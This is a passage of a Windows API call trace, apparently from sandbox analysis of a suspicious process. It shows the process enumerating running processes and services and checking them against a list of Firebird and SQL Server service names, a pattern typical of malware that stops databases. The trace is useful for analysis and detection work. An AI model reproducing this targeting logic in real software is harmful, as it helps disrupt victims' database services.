[0163.471] lstrlenW (lpString="services.exe") returned 12 [0163.471] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.472] lstrlenW (lpString="lsass.exe") returned 9 [0163.472] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0163.472] lstrlenW (lpString="lsm.exe") returned 7 [0163.472] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.473] lstrlenW (lpString="svchost.exe") returned 11 [0163.473] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.473] lstrlenW (lpString="svchost.exe") returned 11 [0163.473] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.474] lstrlenW (lpString="svchost.exe") returned 11 [0163.474] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.474] lstrlenW (lpString="svchost.exe") returned 11 [0163.474] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.475] lstrlenW (lpString="svchost.exe") returned 11 [0163.475] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.475] lstrlenW (lpString="audiodg.exe") returned 11 [0163.475] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.476] lstrlenW (lpString="svchost.exe") returned 11 [0163.476] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.476] lstrlenW (lpString="svchost.exe") returned 11 [0163.476] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.477] lstrlenW (lpString="spoolsv.exe") returned 11 [0163.477] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.477] lstrlenW (lpString="taskhost.exe") returned 12 [0163.478] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.478] lstrlenW (lpString="svchost.exe") returned 11 [0163.478] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0163.479] lstrlenW (lpString="userinit.exe") returned 12 [0163.479] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.479] lstrlenW (lpString="dwm.exe") returned 7 [0163.479] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.480] lstrlenW (lpString="explorer.exe") returned 12 [0163.480] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0163.480] lstrlenW (lpString="3G6885.exe") returned 10 [0163.480] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0163.481] lstrlenW (lpString="reader_sl.exe") returned 13 [0163.481] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0163.481] lstrlenW (lpString="drvinst.exe") returned 11 [0163.481] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.482] lstrlenW (lpString="taskhost.exe") returned 12 [0163.482] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0163.482] lstrlenW (lpString="consent.exe") returned 11 [0163.482] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0163.483] lstrlenW (lpString="dllhost.exe") returned 11 [0163.483] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0163.483] lstrlenW (lpString="dllhost.exe") returned 11 [0163.483] Process32NextW (in: hSnapshot=0x33c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0163.484] CloseHandle (hObject=0x33c) returned 1 [0163.484] Sleep (dwMilliseconds=0x1f4) [0164.462] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8c98 [0164.618] EnumServicesStatusExW (in: hSCManager=0x41d8c98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0164.619] GetLastError () returned 0xea [0164.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0164.619] EnumServicesStatusExW (in: hSCManager=0x41d8c98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0164.619] CloseServiceHandle (hSCObject=0x41d8c98) returned 1 [0164.620] lstrlenW (lpString="Appinfo") returned 7 [0164.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0164.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0164.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0164.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0164.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0164.620] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0164.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.620] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0164.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0164.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0164.620] lstrlenW (lpString="AudioSrv") returned 8 [0164.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0164.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0164.620] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0164.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0164.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0164.620] lstrlenW (lpString="BFE") returned 3 [0164.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0164.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0164.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0164.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0164.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0164.620] lstrlenW (lpString="CryptSvc") returned 8 [0164.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0164.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0164.620] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0164.620] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0164.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0164.620] lstrlenW (lpString="CscService") returned 10 [0164.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0164.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0164.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0164.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0164.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0164.621] lstrlenW (lpString="DcomLaunch") returned 10 [0164.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0164.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0164.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0164.621] lstrlenW (lpString="Dhcp") returned 4 [0164.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0164.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0164.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0164.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0164.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0164.621] lstrlenW (lpString="Dnscache") returned 8 [0164.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.621] lstrlenW (lpString="DPS") returned 3 [0164.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.621] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.621] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.621] lstrlenW (lpString="eventlog") returned 8 [0164.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0164.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0164.622] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0164.622] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0164.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0164.622] lstrlenW (lpString="EventSystem") returned 11 [0164.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.622] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.622] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.622] lstrlenW (lpString="gpsvc") returned 5 [0164.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.622] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.622] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.622] lstrlenW (lpString="iphlpsvc") returned 8 [0164.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.622] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.622] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.622] lstrlenW (lpString="LanmanServer") returned 12 [0164.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.622] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.622] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.622] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.622] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.623] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.623] lstrlenW (lpString="lmhosts") returned 7 [0164.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.623] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.623] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.623] lstrlenW (lpString="MMCSS") returned 5 [0164.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0164.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0164.623] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0164.623] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0164.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0164.623] lstrlenW (lpString="MpsSvc") returned 6 [0164.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.623] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0164.623] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.623] lstrlenW (lpString="Netman") returned 6 [0164.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0164.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0164.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0164.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0164.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0164.623] lstrlenW (lpString="netprofm") returned 8 [0164.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.623] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.623] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.624] lstrlenW (lpString="NlaSvc") returned 6 [0164.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.624] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.624] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.624] lstrlenW (lpString="nsi") returned 3 [0164.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.624] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.624] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.624] lstrlenW (lpString="PcaSvc") returned 6 [0164.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.624] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.624] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.624] lstrlenW (lpString="PlugPlay") returned 8 [0164.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.624] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.624] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0164.624] lstrlenW (lpString="Power") returned 5 [0164.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.625] lstrlenW (lpString="ProfSvc") returned 7 [0164.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.625] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.625] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.625] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.625] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.625] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.625] lstrlenW (lpString="RpcSs") returned 5 [0164.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.625] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.625] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.625] lstrlenW (lpString="SamSs") returned 5 [0164.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.625] lstrlenW (lpString="Schedule") returned 8 [0164.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.625] lstrlenW (lpString="SENS") returned 4 [0164.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.626] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.626] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.626] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.626] lstrlenW (lpString="Spooler") returned 7 [0164.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.626] lstrlenW (lpString="SysMain") returned 7 [0164.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0164.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0164.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0164.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0164.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0164.626] lstrlenW 